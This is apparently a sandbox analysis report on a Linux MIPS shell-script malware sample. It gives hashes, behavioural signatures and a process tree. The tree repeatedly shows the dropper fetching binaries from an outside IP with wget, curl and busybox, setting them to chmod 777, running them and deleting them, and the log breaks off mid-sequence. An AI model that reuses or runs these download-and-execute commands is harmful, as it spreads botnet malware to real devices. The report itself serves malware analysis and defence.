aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6

Analysis

max time kernel
148s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
18/10/2024, 02:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6.sh
Size

10KB
MD5

5df47113727a7b75e9023a09ffc504f2
SHA1

fda1c0a9a5ae07a024ec2e0297ce177c6ac5ad6f
SHA256

aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6
SHA512

858e3b26bc40be548a382d6c9a350b657cab7aedf61fcd04d28c302a0d31d1afb3b1ca6188461cf8051ab9620206bd174c64ec7d538ad532e36734f5088512ce
SSDEEP

192:eWYAVCOCC4urk0c75B4rWYAVCOs5B4STV:edCrrk0c75B4f5B4STV

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 26 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
721	chmod
914	chmod
728	chmod
740	chmod
824	chmod
854	chmod
872	chmod
926	chmod
944	chmod
950	chmod
802	chmod
842	chmod
866	chmod
896	chmod
902	chmod
920	chmod
788	chmod
836	chmod
848	chmod
860	chmod
878	chmod
884	chmod
890	chmod
908	chmod
932	chmod
938	chmod

Executes dropped EXE 26 IoCs

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU	curl
File opened for modification	/tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U	curl
File opened for modification	/tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP	curl
File opened for modification	/tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx	curl
File opened for modification	/tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP	curl
File opened for modification	/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N	curl
File opened for modification	/tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3	curl
File opened for modification	/tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4	curl
File opened for modification	/tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP	curl
File opened for modification	/tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ	curl
File opened for modification	/tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU	curl
File opened for modification	/tmp/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe	curl
File opened for modification	/tmp/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe	curl
File opened for modification	/tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU	curl
File opened for modification	/tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU	curl
File opened for modification	/tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U	curl
File opened for modification	/tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ	curl
File opened for modification	/tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP	curl
File opened for modification	/tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O	curl
File opened for modification	/tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ	curl
File opened for modification	/tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx	curl
File opened for modification	/tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf	curl
File opened for modification	/tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4	curl
File opened for modification	/tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf	curl
File opened for modification	/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N	curl
File opened for modification	/tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3	curl

/tmp/aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6.sh
/tmp/aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6.sh
1⤵
PID:690
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:693
- /usr/bin/wget
  wget http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:699
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:706
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:718
- /bin/chmod
  chmod 777 wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  ./wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - Executes dropped EXE
  PID:722
- /bin/rm
  rm wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:723
- /usr/bin/wget
  wget http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:724
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:727
- /bin/chmod
  chmod 777 yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  ./yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - Executes dropped EXE
  PID:729
- /bin/rm
  rm yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:730
- /usr/bin/wget
  wget http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:731
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:733
- /bin/chmod
  chmod 777 v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  ./v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:744
- /usr/bin/wget
  wget http://87.120.84.230/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  PID:745
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  PID:787
- /bin/chmod
  chmod 777 JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  ./JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  - Executes dropped EXE
  PID:789
- /bin/rm
  rm JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  PID:790
- /usr/bin/wget
  wget http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:793
- /bin/chmod
  chmod 777 ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  ./ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:807
- /usr/bin/wget
  wget http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:821
- /bin/chmod
  chmod 777 OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  ./OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:829
- /usr/bin/wget
  wget http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:831
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:835
- /bin/chmod
  chmod 777 dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  ./dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:838
- /usr/bin/wget
  wget http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:841
- /bin/chmod
  chmod 777 4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  ./4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm 4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:844
- /usr/bin/wget
  wget http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:847
- /bin/chmod
  chmod 777 M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  ./M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:850
- /usr/bin/wget
  wget http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:851
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:853
- /bin/chmod
  chmod 777 UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  ./UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:856
- /usr/bin/wget
  wget http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:859
- /bin/chmod
  chmod 777 NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  ./NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:862
- /usr/bin/wget
  wget http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:865
- /bin/chmod
  chmod 777 oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  ./oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:871
- /bin/chmod
  chmod 777 NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  ./NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:877
- /bin/chmod
  chmod 777 uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  ./uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:880
- /usr/bin/wget
  wget http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:883
- /bin/chmod
  chmod 777 M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  ./M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:886
- /usr/bin/wget
  wget http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:889
- /bin/chmod
  chmod 777 OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  ./OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:892
- /usr/bin/wget
  wget http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:895
- /bin/chmod
  chmod 777 dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  ./dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:898
- /usr/bin/wget
  wget http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:901
- /bin/chmod
  chmod 777 4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  ./4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm 4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:904
- /usr/bin/wget
  wget http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:907
- /bin/chmod
  chmod 777 uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  ./uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:910
- /usr/bin/wget
  wget http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:913
- /bin/chmod
  chmod 777 UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  ./UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:916
- /usr/bin/wget
  wget http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:919
- /bin/chmod
  chmod 777 NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  ./NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:922
- /usr/bin/wget
  wget http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:925
- /bin/chmod
  chmod 777 oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  ./oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:928
- /usr/bin/wget
  wget http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:931
- /bin/chmod
  chmod 777 NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  ./NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:934
- /usr/bin/wget
  wget http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:937
- /bin/chmod
  chmod 777 v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  ./v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:940
- /usr/bin/wget
  wget http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:943
- /bin/chmod
  chmod 777 wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
